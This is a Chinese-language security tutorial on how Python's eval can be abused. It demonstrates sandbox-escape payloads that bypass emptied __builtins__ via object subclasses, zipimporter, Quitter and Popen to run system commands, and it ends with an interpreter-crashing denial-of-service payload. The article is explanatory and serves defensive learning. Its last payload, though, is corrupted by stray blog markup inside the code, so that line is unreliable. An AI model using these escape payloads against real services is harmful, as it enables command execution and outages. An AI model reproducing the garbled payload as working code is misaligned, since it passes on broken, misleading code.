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Python中eval带来的潜在风险

0x00 前言

eval是Python用于执行python表达式的一个内置函数，使用eval，可以很方便的将字符串动态执行。比如下列代码：

#!python >>> eval("1+2") 3 >>> eval("[x for x in range(10)]") [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

当内存中的内置模块含有os的话，eval同样可以做到命令执行：

#!python >>> import os >>> eval("os.system('whoami')") win-20140812chj/administrator 0

当然，eval只能执行Python的表达式类型的代码，不能直接用它进行import操作，但exec可以。如果非要使用eval进行import，则使用 __import__ ：

#!python >>> exec('import os') >>> eval('import os') Traceback (most recent call last):   File "<stdin>", line 1, in <module>   File "<string>", line 1     import os      ^ SyntaxError: invalid syntax >>> eval("__import__('os').system('whoami')") win-20140812chj/administrator 0

在实际的代码中，往往有使用客户端数据带入eval中执行的需求。比如动态模块的引入，举个栗子，一个在线爬虫平台上爬虫可能有多个并且位于不同的模块中，服务器端但往往只需要调用用户在客户端选择的爬虫类型，并通过后端的exec或者eval进行动态调用，后端编码实现非常方便。但如果对用户的请求处理不恰当，就会造成严重的安全漏洞。

0x01 “安全”使用eval

现在提倡最多的就是使用eval的后两个参数来设置函数的白名单：

Eval函数的声明为 eval(expression[, globals[, locals]])

其中，第二三个参数分别指定能够在eval中使用的函数等，如果不指定，默认为globals()和locals()函数中包含的模块和函数。

#!python >>> import os >>> 'os' in globals() True >>> eval('os.system(/'whoami/')') win-20140812chj/administrator 0 >>> eval('os.system(/'whoami/')',{},{}) Traceback (most recent call last):   File "<stdin>", line 1, in <module>   File "<string>", line 1, in <module> NameError: name 'os' is not defined

如果指定只允许调用abs函数，可以使用下面的写法：

#!python >>> eval('abs(-20)',{'abs':abs},{'abs':abs}) 20 >>> eval('os.system(/'whoami/')',{'abs':abs},{'abs':abs}) Traceback (most recent call last):   File "<stdin>", line 1, in <module>   File "<string>", line 1, in <module> NameError: name 'os' is not defined >>> eval('os.system(/'whoami/')') win-20140812chj/administrator 0

使用这种方法来防护，确实可以起到一定的作用，但是， 这种处理方法可能会被绕过 ，从而造成其他问题！

0x02 绕过执行代码1

被绕过的情景如下，小明知道了eval会带来一定的安全风险，所以使用如下的手段去防止eval执行任意代码：

#!python env = {} env["locals"]   = None env["globals"]  = None env["__name__"] = None env["__file__"] = None env["__builtins__"] = None  eval(users_str, env)

Python中的 __builtins__ 是内置模块，用来设置内置函数的模块。比如熟悉的abs，open等内置函数，都是在该模块中以字典的方式存储的，下面两种写法是等价的：

#!python >>> __builtins__.abs(-20) 20 >>> abs(-20) 20

我们也可以自定义内置函数，并像使用Python中的内置函数一样使用它们：

#!python >>> def hello(): ...     print 'shabi' >>> __builtin__.__dict__['say_hello'] = hello >>> say_hello() shabi

小明将eval函数的作用域中的内置模块设置为 None ，好像看起来很彻底了，但依然可以被绕过。 __builtins__ 是 __builtin__ 的一个引用，在 __main__ 模块下，两者是等价的：

#!python >>> id(__builtins__) 3549136 >>> id(__builtin__) 3549136

根据乌云drops提到的方法，使用如下代码即可：

#!python [x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

上面的代码首先利用 __class__ 和 __subclasses__ 动态加载了 object 对象，这是因为eval中无法直接使用object。然后使用object的子类的zipimporter对egg压缩文件中的configobj模块进行导入，并调用其内置模块中的os模块从而实现命令执行，当然，前提是要有configobj的egg文件。 configobj模块很有意思，居然内置了os模块：

#!python >>> "os" in configobj.__dict__ True >>> import urllib >>> "os" in urllib.__dict__ True >>> import urllib2 >>> "os" in urllib2.__dict__ True >>> configobj.os.system("whoami") win-20140812chj/administrator 0

和configobj类似的模块如 urllib ， urllib2 ， setuptools 等都有os的内置，理论上使用哪个都行。如果无法下载egg压缩文件，可以下载带有setup.py的文件夹，加入：

#!python from setuptools import setup, find_packages

然后执行:

#!bash python setup.py bdist_egg

就可以在dist文件夹中找到对应的egg文件。绕过demo如下：

#!python >>> env = {} >>> env["locals"]   = None >>> env["globals"]  = None >>> env["__name__"] = None >>> env["__file__"] = None >>> env["__builtins__"] = None >>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')" >>> eval(users_str, env) win-20140812chj/administrator 0 >>> eval(users_str, {}, {}) win-20140812chj/administrator 0

0x03 拒绝服务攻击1

object的子类中有很多有趣的东西，执行以下代码查看：

#!python [x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

这里我就不输出结果了，如果你执行的话，可以看到很多有趣的模块，比如file，zipimporter，Quitter等。经过测试，file的构造函数是被解释器沙箱隔离的。简单的，或者直接使object暴露出的子类Quitter进行退出：

#!python >>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__  == 'Quitter'][0](0)()", {'__builtins__':None})  C:/>

如果运气好，遇到对方程序中导入了 os 等敏感模块，那么Popen就可以用，并且绕过 __builins__ 为空的限制，栗子如下：

#!python >>> import subprocess >>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None}) <subprocess.Popen object at 0x0324FF70> >>> 正在 Ping 127.0.0.1 具有 32 字节的数据: 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64 127.0.0.1 的 Ping 统计信息:     数据包: 已发送 = 1，已接收 = 1，丢失 = 0 (0% 丢失)， 往返行程的估计时间(以毫秒为单位):     最短 = 0ms，最长 = 0ms，平均 = 0ms >>>

事实上，这种情况非常多，比如导入os模块，一般用来处理路径问题。所以说，遇到这种情况，完全可以列举大量的功能函数，来探测目标object的子类中是否含有一些危险的函数可以直接使用。

0x04 拒绝服务攻击2

同样，我们甚至可以绕过 __builtins__ 为None，造成一次拒绝服务攻击，Payload(来自老外blog)如下：

#!python >>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

运行上面的代码，Python直接crash掉了，造成拒绝服务攻击。原理是通过嵌套的lambda来构造一片代码段，即code对象。为这个code对象分配空的栈，并给出相应的代码字符串，这里是 KABOOM ，在空栈上执行代码，会出现crash。构造完成后，调用fc函数即可触发，其思路不可谓不淫荡。